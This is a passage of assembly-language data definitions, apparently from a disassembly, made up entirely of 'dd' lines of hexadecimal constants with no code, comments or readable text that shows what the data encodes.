0E52DF454h dd 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h dd 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h dd 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh dd 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h dd 429800E0h, 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h dd 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h, 0BEF93C48h dd 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h dd 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh dd 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h, 3D81D140h dd 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh dd 0B4B80A62h dd 81AE1Eh, 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h dd 31E075EEh, 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h dd 18890235h, 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch dd 4BC32Bh, 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch dd 4CE208h, 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h dd 94BC2441h, 0F61E3Ah, 8B28BB3Ah, 48010537h, 2C438319h dd 42301221h, 14660030h, 16BE8B50h, 0FE00344Ah, 7B80DE02h dd 0D6C103h, 0F2B0576Eh, 0EA52BA68h, 5900D5ECh, 0F84E8D6Dh dd 6C0394Ah, 7705F980h, 49FAFC51h, 1904DAFAh, 1708B710h dd 29C01E87h, 0B8913248h, 89560009h, 33EB684Bh, 7A1CC72Bh dd 6E407980h, 1081322h, 88191D90h, 1E101D02h, 3E071E04h dd 0CEF62780h, 0DE89F1Bh, 850F240Bh, 8A3980CCh, 73E43h dd 1D74052Ch, 4F83C8FEh, 0F50EE3Ah, 0D488FA08h, 842E00BCh dd 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h dd 48F38918h, 8009939h, 0C8C111ADh, 8E00D509h, 14550E9h dd 0FA1833FDh, 25F822h, 367B8D05h, 0EB1354BEh, 5C9DA30Fh dd 17E980C3h, 14801ABh, 425E8414h, 0EDE4F2B4h, 5CBCE488h dd 74F244F2h, 5026A9F2h, 57038171h, 0B80B20EDh, 3E548602h dd 6583C976h, 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch dd 7614868Ah, 5D450349h, 97D45942h, 0BDA400F5h, 93208BF1h dd 0E807CC98h, 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh dd 11012C3Ch, 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h dd 5310601Dh, 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h dd 0D40B944Fh, 0ED145Ch, 136DA48Fh, 0E274067Ch, 4409000Eh dd 3E882E1Eh, 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h dd 0E6A01499h, 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h dd 0EB2B5A20h, 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h dd 4014C95Fh, 0E57C115Dh, 4C00210Eh, 3BF23C10h, 264B22BCh dd 19142Ah, 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h dd 9FB0000Ah, 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h dd 36383420h, 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h dd 0ECFA5390h, 2E0F323Ch, 0FD660D4h, 80BDCAE7h, 7257865Fh dd 2DE06269h, 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h dd 3400291Ch, 505B7660h, 695D03h, 2F856D75h, 0D4309401h dd 535E3Ah, 0C2E349BCh, 436517h, 0B6B2BE1Ch, 6D90B56Eh dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h, 0B01E005Ch dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh dd 479430Bh, 4CCA7831h, 2000E698h, 76324D58h, 0EE476113h dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h, 3000540h dd 8788021h, 0E8F0110h, 0EAA90750h, 0FE09BBC1h, 0E9D260CAh dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h, 0C0219829h dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h, 88649002h dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h, 8AE04B2Dh dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h, 0F124E50Bh dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah dd 76968CBh, 587F8470h, 0C3E4435Ch, 6007E8C3h, 0EC100146h dd 6404B290h, 0F0F251h, 725411D8h, 736E6103h, 74656D00h dd 437C19B6h, 775727Bh, 0DC34916Fh, 54CC429Dh, 8AABD540h dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h, 0C627018Eh dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h dd 3641378h, 45287C14h, 780521Fh, 0DC008496h, 0E8C0C68Fh dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h, 218068DBh dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh, 331F8471h dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h, 30451ABh dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh dd 30B62A12h, 1A93867h, 59510A0Fh, 658FA0B8h, 1C1745FEh dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h dd 4B829AEh, 2B641F03h, 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah, 4C331E45h dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh, 4301B738h dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h, 0B7280016h dd 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh, 0A6D8E974h, 0FC7540h dd 0AD9B914h, 354A5C20h, 44008874h, 73102B74h, 7658B2AEh dd 0BC30E717h, 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h dd 0ACA41040h, 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh dd 1E5700B6h, 8C3DA1BCh, 0C000BEA0h, 7D258D13h, 73B30A2h dd 0B5F8FB8Bh, 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh dd 17AB0082h, 0EA34DC5Dh, 87002C45h, 597E294Bh, 1184A1Bh dd 0BA9444CBh, 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h dd 0B1404D54h, 30FD3896h, 285C0CFCh, 83090115h, 5054A4C4h dd 0FECB59C4h, 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh dd 0A016484Fh, 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h dd 0B1569FA2h, 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh dd 1100B26h, 3D801499h, 2AE15B18h, 0A4EFB0h, 98CE92BFh dd 7E591277h, 0B409C401h dd 25A656A3h, 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh dd 99C0A543h, 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh dd 221A390Ah, 0F8442AA9h, 0EB00883Ch, 5C61976h, 2601E7A0h dd 0FA96DE5h, 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h dd 0E65B800h, 391048BCh, 0CC00059h, 0C4908529h, 156719C8h dd 54F02006h, 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h dd 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh dd 923B5F00h, 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h dd 0DFFE3862h, 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h dd 2934CC06h, 1EE42D83h, 5C1A0102h, 0E0406F2Ch, 0B0A26E1Ch dd 0C5CC00C3h, 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h dd 14EEAE8h, 8FDDCEEAh, 0D4C709D2h, 0C60FE099h, 0E02AB67Ah dd 0D62B49AEh, 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h dd 64BCD3B7h, 0F9532610h, 80FD0001h, 870D048Fh, 0BF2A9E03h dd 0A04FA86Bh, 0AC6865h, 40C683D1h, 0B0F8608h, 1448C0EEh dd 0A5AD0063h, 642D24FBh, 580203F5h, 76DB850Ch, 21C144C0h dd 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah, 56107005h, 3D0C36E3h dd 0DF5144D8h, 6E297A00h, 8833022Bh, 75080042h, 1643C394h dd 0E047953h, 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h dd 8000F6F0h, 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h dd 7E0010B4h, 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah dd 72006116h, 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh dd 7906C3Eh, 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h dd 78E6304Bh, 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h dd 0D06023D6h, 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh dd 2F22F114h, 244EC8DDh, 0E4082112h, 8C6C8000h, 2CFEF084h dd 0CAEE65h, 1625DCF4h, 3400AA11h, 6A9488F3h, 0ABCF4Fh dd 54801B6Ch, 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h dd 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h, 3A294100h dd 8D8263BCh, 0F87885h, 1975809Ah, 92D2FCF4h, 0D1411300h dd 0FEEC5D43h, 9DD000E4h, 5F0B0879h, 50E41E5Bh, 856D7100h dd 0F7659784h, 1294004Ah, 2224CA1Dh, 5C0B0810h, 80727453h dd 0A5AB2D16h, 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h dd 4A82BEh, 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h dd 880B39ECh, 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh, 0ACBC00F4h dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh, 0C8F72873h dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh, 40B36965h dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h dd 31A1866h, 88104619h, 0C8064301h, 1890141Bh, 2E9104E0h dd 73A381Ch, 50AE961Ah, 0D27CB865h, 29339F00h, 13AB9C4Ah dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h, 0F188A18Bh dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h dd 38A473h, 0C29887E9h, 145A52E6h, 369FB40Eh, 0BF2B0Fh dd 8E1F3EACh, 471000Bh, 0FD27CCFEh, 5F01AF12h, 38EA1CD1h dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh, 0A5D4459Fh dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h, 686C6Ah dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h, 0CE090C9Ch dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h, 2E1977D0h dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h, 2E10033h dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h, 0B95E882Fh dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h, 0BE0092ADh dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h, 0AF0A5406h dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h dd 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh dd 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h dd 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h dd 5800EF32h, 19F7EAA7h, 0F8BD7076h, 223B00D7h, 2C683603h dd 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h dd 0BD49F300h, 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h dd 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h dd 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h, 0C0F1A8D1h dd 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h dd 4303B022h, 148D7A37h, 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh dd 5F4DA4D1h, 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h dd 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h dd 943DA9ACh, 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h dd 0FF007775h, 57ADCC67h dd 0BC002C9Eh, 0DAE74272h, 0C34316h, 0EB22354Eh, 1D6CD5CCh dd 13D895h, 3768B8B9h, 0C5648DBh, 0D8BD0B00h, 41FA4E4h dd 5FE800D6h, 0E3FE0146h, 0E2F4297Eh, 0F44D6200h, 17B11E9Ch dd 0A5C00ACh, 4FF2C727h, 1B002910h, 0DA6CB74Ah, 3E3BA908h dd 5F8346C2h, 0EE58E276h, 515EB5E0h, 30E1F43Ah, 3E1378D4h dd 0A8BC0020h, 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h dd 0F982008Fh, 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh dd 0F7700651h, 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h dd 0ECC28EF4h, 0DBF12124h, 3A14538h, 6838801Ah, 0AAAA875h dd 94431FFDh, 6E90004h, 0C525A2D9h, 0E88660E3h, 2AD0AF60h dd 0FC2336h, 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h, 86C42B13h dd 0A11C0721h, 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h dd 0B44AE3h, 9E151AA0h, 0CA2B89B6h, 458BD401h, 952AA2B8h dd 1D6B0F20h, 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh dd 71F07908h, 89AF0F84h, 34228CD4h, 0E3E35465h, 87EB50EBh dd 25FF16F8h, 0C0F84400h, 1C401099h, 478E003Ch, 91342338h dd 2C00C830h, 247228E4h, 0E21C2039h, 18412D8Eh, 3F30D4h dd 0A4C4B4A6h, 3E6D29DDh, 5002814h, 94E8F35Ah, 0B5F2BF4Fh dd 8404D000h, 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h dd 2EFF0B7Ch, 0FED175h, 7D3944BDh, 4C740482h, 9B3FEB00h dd 7B8AF19h, 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh dd 3BF7750Ah, 5C0AE0BFh, 1E964E35h, 0CB02C121h, 0E8A5E983h dd 410072FBh, 880F7F0Ch, 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h dd 0B10023F9h, 6E22DDABh, 0B540F6h, 51E29456h, 2DC5BE53h dd 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h dd 8205D4ADh, 4A10700h, 182B376Ch, 1688006Bh, 22F35EDEh dd 531C4FD7h, 0EDD2C220h, 7998B900h, 28FF6B26h, 0BC2CA6h dd 0C7031E14h, 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h dd 422ABE3h, 2C71C582h, 0E4888032h, 8900141Fh, 2E051043h dd 1060Ch, 667F6854h, 3D53004h, 0DF6EC800h, 0C6097D60h dd 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh dd 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h dd 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh dd 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h dd 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h, 0B204D085h dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h dd 9CE47Dh, 0E8C28B30h, 0A73D322Ah, 16032500h, 59396491h dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h, 46BA44Dh dd 88E422h, 0A8903419h, 80282429h, 0E0103D02h, 0C0135074h dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh, 64882238h dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h dd 1CF5CD4h, 5ABB4A3Ch, 307B71ABh, 8000019Ch, 742DFC78h dd 0B8D71Eh, 135DB2A4h, 0DE2F0451h, 4F5A8000h, 0E16A88C6h dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h dd 0EB3F19A8h, 8AE705h, 0BC84A663h, 5C766AE1h, 0E810C004h dd 0FAC04607h, 12D11Bh, 47653D1Dh, 0E688554h, 8ECE3EFAh dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h, 0FC00A23Ch dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h dd 0A75D253h, 0A54494h, 0E38F8BDDh, 49F3C755h, 3CF8F970h dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h, 14008E4h dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h dd 3B63F059h, 3EC3064h, 0C429C314h, 77BB4418h, 0F622CAF0h dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh dd 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h, 7F977553h dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh, 1F0072D6h dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh, 8525E6C8h dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h, 4CE7A3B8h dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h, 0F42B2C05h dd 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h dd 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch dd 0B6D7EBE8h, 8D8157B4h, 320780E2h, 1C54B09Ch, 1E0E405Eh dd 0F194E9F5h, 154FD0FBh, 73E3B06Bh, 483C019Ah, 743E7F6h dd 670C86Fh, 44ED7900h, 5D977854h, 3484000Ah, 5817DAF9h dd 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h, 8D704C52h dd 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h, 75488555h dd 7D8AF9F6h, 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h dd 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h, 0DF034C5Ah dd 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh dd 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h, 1DC095ECh dd 750A5B9h, 16294A7Bh, 5FB43025h, 0AB0090EAh, 0C449C60Eh dd 1AD93680h, 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh dd 0FB3AE571h, 4E182Ah dd 0C9825CA6h, 0F51A8D89h, 0F0FC8700h, 5768BDA2h, 9F7A3C96h dd 0F8423180h, 49BF14EAh, 1DEB1903h, 0C388C892h, 0FB83AB90h dd 57ED00Ch, 61300FB8h, 0E7E0558Dh, 0AF918696h, 0C32D321Dh dd 82C8C0CAh, 60C4A00h, 26D858Ah, 25ECB5BBh, 18E01844h dd 6E00EB2Ch, 0A7D04936h, 1D28E6h, 1AC83C42h, 0CB24C90h dd 2958241Eh, 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch dd 8E00BBD6h, 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh dd 4B214E01h, 0E15E0CB3h, 0E73ECh, 804F3332h, 6B447629h dd 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h dd 4500DA0Fh, 0EAFF8995h, 78E9AF74h, 55A7011Dh, 598AC47h dd 5C06607Dh, 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h dd 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh dd 1CC9043h, 0CB8588Ah, 0E4E54020h, 0C17CA7C8h, 0AF7A4807h dd 0E9C0D90Fh, 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh dd 3101B9EDh, 3EA263D5h, 0D803C6Dh, 0B4E14CDAh, 61003FECh dd 